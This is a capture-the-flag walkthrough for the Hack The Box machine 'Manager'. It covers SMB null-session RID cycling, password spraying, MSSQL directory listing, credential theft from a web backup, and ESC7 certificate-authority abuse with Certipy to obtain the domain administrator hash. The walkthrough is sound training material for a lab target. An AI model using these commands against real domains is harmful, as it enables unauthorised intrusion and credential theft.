Manager

Join The Best Hacking Community Worldwide | Hack The Box

Over half a million platform members exhange ideas and methodologies. Be one of us and help the community grow even further!

www.hackthebox.com

Enumeration

Nmap

We’ll use Nmap to scan the remote host and check for any open ports.

ports=$(nmap -p- --min-rate=1000 -T4 10.129.235.134 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.129.235.134 -oN nmap_tcp -v

The Nmap scan shows multiple open ports, including those usually associated with domain controller services, a web server on port 80, an SMB service on port 445, and an SQL server on port 1433.

We also observe that the domain name is manager.htb, so we’ll add this entry to our /etc/hosts file.

echo "10.129.235.134 manager.htb" | sudo tee -a /etc/hosts

HTTP

When we visit port 80 in the browser, we find a static website that appears to have very limited functionality.

SMB

We’ll enumerate the SMB shares with the smbclient tool, attempting to list all available shares through a null session.

The listed SMB shares don’t provide anything useful. However, since null sessions are allowed, we can attempt RID cycling to enumerate users.

RID cycling works by incrementally querying the RID portion of Windows SIDs, which are assigned sequentially to users and groups. This can reveal valid accounts.

To do this, we use the lookupsid module from the Impacket toolkit.

We extract only the SidTypeUser entries and save them into a file called usernames.txt.

└──╼ [★]$ cat usernames.txt
administrator
zhong
cheng
ryan
raven
jinwoo
chinHae
operator

It is fairly common for users to set their password the same as their username. With that in mind, we’ll try a password spraying attack using the simple username = password pattern.

We can use netexec to attempt SMB authentication against the target.

We now have the password for operator.

Foothold

We’ll try connecting to the MSSQL Server, as it might provide us with some access to the filesystem. This can be done using the mssqlclient module from the Impacket.

We can use the xp_dirtree to explore the filesystem and list directory contents.

We’ll have a look through the web root at /inetpub/wwwroot to see what’s inside.

Here we find an intriguing file, website-backup-27-07-23-old.zip, which looks to be a backup of the site. Since it’s stored in the web root, we should be able to download it.

wget http://10.129.235.134/website-backup-27-07-23-old.zip

After extracting the backup, we discover a hidden file named .old-conf.xml.

website-backup-27-07-23-old.zip -d wesite
cd website
ls -la

The .old-conf.xml file reveals password for the Raven.

We use netexec to spray the credentials and check whether they allow access through WinRM.

└──╼ [★]$ nxc winrm 10.129.235.134 -u raven -p 'R4v3n<SNNIP>'
WINRM       10.129.235.134  5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:manager.htb)
WINRM       10.129.235.134  5985   DC01             [+] manager.htb\raven:R4v3n<SNIP> (Pwn3d!)

We connect to the target using Evil-WinRM.

The user flag is located in Raven’s Desktop:

*Evil-WinRM* PS C:\Users\Raven\Desktop> cat user.txt
192a<SNIP>f0dc

Privilege Escalation

We’ll check the Certification Authority for possible misconfigurations and use Certipy to uncover any vulnerabilities. Follow the setup guide to install Certipy. Depending on your environment, you might need to use the command certipy-ad instead of certipy.

The report shows that the user Raven has risky permissions, specifically ManageCA rights on the Certification Authority. This means we can potentially abuse the ESC7 scenario to escalate privileges to Domain Admin while acting as Raven.

To move forward, we’ll first add Raven as an officer, which will allow us to manage and manually issue certificates.

Now that we’ve been added as an officer, we can both issue and manage certificates. Using the -enable-template flag, we can enable the SubCA template on the CA.

└──╼ [★]$ certipy ca -u raven@manager.htb -p 'R4v3n<SNIP>' -dc-ip 10.129.235.134 -ca manager-dc01-ca -enable-template subca
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'manager-dc01-ca'

We can view the enabled certificate templates by running the command with the -list-templates flag.

With the prerequisites in place (having Manage Certificates rights via ManageCA and confirming the SubCA template is enabled) we can now request a certificate using the SubCA template.

Although this request will be denied, it will still generate a request ID and a private key, which we then save to a file.

We see that the certificate request ID is 19. Using our granted permissions, we can now manually issue the previously failed certificate with the ca command and the -issue-request <request ID> parameter.

└──╼ [★]$ certipy ca -u raven@manager.htb -p 'R4v3n<SNIP>' -dc-ip 10.129.235.134 -ca manager-dc01-ca -issue-request 19
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[-] Got access denied trying to issue certificate

If you encounter [-] Got access denied trying to issue certificate, rerun the command that added Raven as a manager. The cleanup scripts on the box may have reverted the permissions back to their original state.

We can fetch the issued certificate using the req command along with the -retrieve <request ID> parameter.

With the administrator’s PFX file, we can now use it for authentication. However, running the auth command gives the error KRB_AP-ERR_SKEW (Clock skew too great).

This happens when the time on our machine is out of sync with the KDC servers, which breaks Kerberos authentication. To fix it, we need to turn off Automatic Date & Time on our system and manually sync the clock by running the following command:

sudo ntpdate -s manager.htb

Re-running the command now works as expected and successfully dumps the administrator hash.

└──╼ [★]$ certipy auth -pfx administrator.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@manager.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@manager.htb': aad3<SNIP>04ee:ae50<SNIP>24ef

We use the administrator’s hash to log in via Evil-WinRM and successfully capture the root flag from the system.

References

• https://github.com/ly4k/Certipy
• https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.html#vulnerable-certificate-authority-access-control-esc7
• HTB Official Walkthrough for Manager